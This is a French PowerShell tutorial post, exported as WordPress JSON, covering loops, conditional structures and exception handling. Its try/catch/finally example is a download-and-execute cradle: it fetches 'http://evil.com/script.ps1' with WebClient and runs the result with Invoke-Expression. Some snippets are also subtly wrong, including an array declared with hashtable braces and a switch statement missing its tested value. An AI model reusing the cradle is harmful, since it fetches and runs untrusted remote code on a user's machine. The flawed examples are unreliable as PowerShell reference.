{"id":82,"date":"2020-11-01T18:46:00","date_gmt":"2020-11-01T17:46:00","guid":{"rendered":"http:\/\/theredwindows.net\/?p=82"},"modified":"2021-07-30T18:44:23","modified_gmt":"2021-07-30T16:44:23","slug":"powershell-boucles-structures-conditionnelles-gestion-des-exceptions","status":"publish","type":"post","link":"https:\/\/theredwindows.net\/index.php\/2020\/11\/01\/powershell-boucles-structures-conditionnelles-gestion-des-exceptions\/","title":{"rendered":"PowerShell &#8211; Boucles, structures conditionnelles, gestion des exceptions"},"content":{"rendered":"\n<p>L&#8217;int\u00e9r\u00eat premier d&#8217;un ordinateur, c&#8217;est de pouvoir r\u00e9p\u00e9ter et traiter des donn\u00e9es de nombreuses fois dans un petit laps de temps, en PowerShell, des boucles et diff\u00e9rentes structures permettent d&#8217;effectuer de genre d&#8217;op\u00e9ration. <\/p>\n\n\n\n<h3>Boucles<\/h3>\n\n\n\n<p>Il existe exactement 5 boucles diff\u00e9rentes en PowerShell, 4 d\u2019entre elles sont issue de .NET et une est une cmdlet, j\u2019ai nomm\u00e9: <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">foreach<\/code><\/code>, <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">while<\/code><\/code>, <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">do while<\/code><\/code>, <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">for<\/code><\/code>, et <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">ForEach-Object<\/code><\/code>. <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">foreach<\/code><\/code> permet d\u2019it\u00e9rer parmi les objets d\u2019une Collections. La syntaxe est simple, le mot <code>foreach<\/code> est suivis d\u2019entre parenth\u00e8se <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">$objet in $collection<\/code><\/code> puis entre accolade l\u2019action \u00e0 mener. Exemple:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">[int[]] $array = @{1, 3, 6}\n\nforeach ($n in $array) {\n\n\t$n * 2\n}<\/pre>\n\n\n\n<p><code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">while<\/code><\/code> permet d\u2019effectuer une action en boucle tant qu\u2019une certaine condition est v\u00e9rifi\u00e9e. La syntaxe est similaire \u00e0 <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">foreach<\/code><\/code>, simplement entre les parenth\u00e8ses il faut inscrire une condition. Exemple:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$condition = 5\n\nwhile ($condition -ne 0) {\n\n\tWrite-Host \"boucle while\"\n\t$condition -= 1\n}<\/pre>\n\n\n\n<p><code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">do while<\/code><\/code> est exactement similaire \u00e0 <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">while<\/code><\/code> \u00e0 la diff\u00e9rence que la condition est effectu\u00e9e \u00e0 la fin, ce qui laisse au moins 1 ex\u00e9cution. Exemple:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$condition = 5\n\ndo {\n\n\tWrite-Host \"boucle do while\"\n} while ($condition -ne 5)<\/pre>\n\n\n\n<p>Il existe une autre forme de ce style <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">do until<\/code><\/code> qui reprend exactement la m\u00eame syntaxe mais qui se r\u00e9p\u00e8tera tant que la condition sera fausse.<\/p>\n\n\n\n<p>La boucle <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">for<\/code><\/code> instancie une nouvelle variable, effectue un test conditionnel, puis incr\u00e9mente la variable. La boucle est introduite par le mot <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">for<\/code><\/code> puis entre parenth\u00e8se la d\u00e9finition de la variable, puis la condition, enfin il faut incr\u00e9menter la variable, le tout est s\u00e9par\u00e9 par des points virgules. Ensuite entre accolades, il y aura les instructions \u00e0 ex\u00e9cuter. La variable cr\u00e9\u00e9e n\u2019est pas supprim\u00e9e apr\u00e8s la fonction. Exemple:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">for ($i = 0; $i -lt 5; $i ++) {\n\n\t$i\n}<\/pre>\n\n\n\n<p>la boucle li\u00e9e \u00e0 la cmdlet <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">ForEach-Object<\/code><\/code> est une boucle <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">foreach<\/code><\/code> qui a besoin d\u2019objet pass\u00e9 dans une pipeline. Son alias est <code>%<\/code>. Une variable <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">$_<\/code><\/code> est cr\u00e9\u00e9 pour chaque objet it\u00e9rer. La cmdlet permet l\u2019utilisation de scriptblock pour d\u00e9finir l\u2019action \u00e0 mener ainsi, il existe les arguments <code>-BEGIN<\/code>, <code>-PROCESS<\/code>, <code>-END<\/code>.<br>Exemple:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Get-Service | % -Process {$_.Status} # renvoie le statut de tous les services disponible sur la machine.<\/pre>\n\n\n\n<p>Pour sortir d&#8217;une boucle pr\u00e9matur\u00e9ment, comme dans beaucoup d&#8217;autres langages, il faut utiliser le mot r\u00e9serv\u00e9 <code>break<\/code>.<\/p>\n\n\n\n<h3>Structures conditionnelles<\/h3>\n\n\n\n<p>Les structures conditionnelles sont indispensables dans un langage de programmation. La syntaxe de ces derni\u00e8res est relativement simple en PowerShell: le mot r\u00e9serv\u00e9 (<code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">if<\/code><\/code>, <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">elseif<\/code><\/code>, <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">else<\/code><\/code>, <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">switch<\/code><\/code>) suivi d\u2019entre parenth\u00e8ses la condition si besoin, puis des accolades pour s\u00e9parer les instructions \u00e0 effectuer. Exemple:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$condition = 5\n\nif ($condition -eq 3) {\n\n      Write-Host \"hello\"\n} elseif ($condition -lt 3) {\n\n      Write-Host \"hello world\"\n} else {\n\n      Write-Host \"it's long example\"\n} <\/pre>\n\n\n\n<p>Il existe aussi en PowerShell une structure <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">switch<\/code><\/code>. Sa syntaxe est relativement simple: le mot r\u00e9serv\u00e9 <code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">switch<\/code> puis entre crochet les instructions. Ces derni\u00e8res sont s\u00e9par\u00e9es en deux parties, la valeur de condition en 1 puis suivie d\u2019un scriptblock, si une op\u00e9ration doit \u00eatre fait si les conditions ne sont pas valid\u00e9es, il faudra utiliser <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">default<\/code><\/code> suivi d\u2019un scriptblock pour l\u2019instruction:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$condition = 5\n\nswitch {\n\t\n\t1 {Write-Host \"hello\"; break}\n\t2 {Write-Host \"2\"; break}\n\t5 {Write-Host \"5\"; break}\n\tdefault {Write-Host \"default\"}\n}<\/pre>\n\n\n\n<h3>Gestion des exceptions<\/h3>\n\n\n\n<p>Comme dans beaucoup de langage des exceptions font irruption lorsque la syntaxe n\u2019est pas bien respect\u00e9e, ou lorsque des erreurs surgissent (conversions par exemple). PowerShell n\u2019est pas en reste car lui aussi permet de les g\u00e9rer. Pour cela il existe une structure: <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">try<\/code><\/code>\/<code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">catch<\/code><\/code>\/<code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">finally<\/code><\/code>. Dans un premier temps on ouvre le bloc d\u2019instruction avec <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">try<\/code><\/code> suivi de deux accolades entre lesquelles il y a le code \u00e0 ex\u00e9cuter. Il faut imp\u00e9rativement fermer <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">try<\/code><\/code> avec <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">catch<\/code><\/code> ou <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">finally<\/code><\/code>; le premier ex\u00e9cute une instruction pr\u00e9cise en cas d\u2019une erreur (sp\u00e9cifi\u00e9 ou non), le deuxi\u00e8me d\u00e9finit une action qui, lanc\u00e9e obligatoirement avant que le programme ne se ferme. La syntaxe de <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">finally<\/code><\/code> est en tout point similaire \u00e0 <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">try<\/code><\/code>, <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">catch<\/code><\/code> est un petit peu diff\u00e9rent: <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">catch [Exception 1],[Exception 2] {}<\/code><\/code>, les exceptions ne sont pas obligatoirement \u00e0 sp\u00e9cifier, sauf s\u2019il est d\u00e9sir\u00e9 d\u2019en g\u00e9rer une ou plusieurs en particulier. Il est possible d\u2019utiliser plusieurs catch. Exemple:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Write-Host \"start\"\n\n$object = New-Object System.Net.WebClient\n$url = \"http:\/\/evil.com\/script.ps1\"\n\ntry {\n\n\tInvoke-Expression $object.DownloadString($url)\n} catch {\n\n\tWrite-Host \"failed\"\n} finally {\n\n\tWrite-Host \"done\"\n}<\/pre>\n\n\n\n<p>Il est aussi possible de g\u00e9n\u00e9rer ses propres exceptions ou d\u2019interrompre du code, pour cela il existe deux mani\u00e8res. D\u2019une part en utilisant la cmdlet <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Write-Error<\/code><\/code>, un message peut \u00eatre ajout\u00e9 apr\u00e8s l\u2019appel de la cmdlet avec l\u2019argument <code>-Message<\/code>, une exception particuli\u00e8re peut-\u00eatre lev\u00e9e avec <code>-Exception<\/code>. D\u2019autre part en utilisant le mot r\u00e9serv\u00e9 <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">throw<\/code> <\/code>suivi d\u2019un message si voulu. Il aura pour effet de stopper le programme.<\/p>\n\n\n\n<p>Le prochain article traitera des fonctions, des fonctions avanc\u00e9es et de l&#8217;aide int\u00e9gr\u00e9e de PowerShell.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>L&#8217;int\u00e9r\u00eat premier d&#8217;un ordinateur, c&#8217;est de pouvoir r\u00e9p\u00e9ter et traiter des donn\u00e9es de nombreuses fois dans un petit laps de temps, en PowerShell, des boucles et diff\u00e9rentes structures permettent d&#8217;effectuer de genre d&#8217;op\u00e9ration. Boucles Il existe exactement 5 boucles diff\u00e9rentes en PowerShell, 4 d\u2019entre elles sont issue de .NET et une est une cmdlet, j\u2019ai [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[],"_links":{"self":[{"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/posts\/82"}],"collection":[{"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/comments?post=82"}],"version-history":[{"count":5,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/posts\/82\/revisions"}],"predecessor-version":[{"id":259,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/posts\/82\/revisions\/259"}],"wp:attachment":[{"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/media?parent=82"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/categories?post=82"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/tags?post=82"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}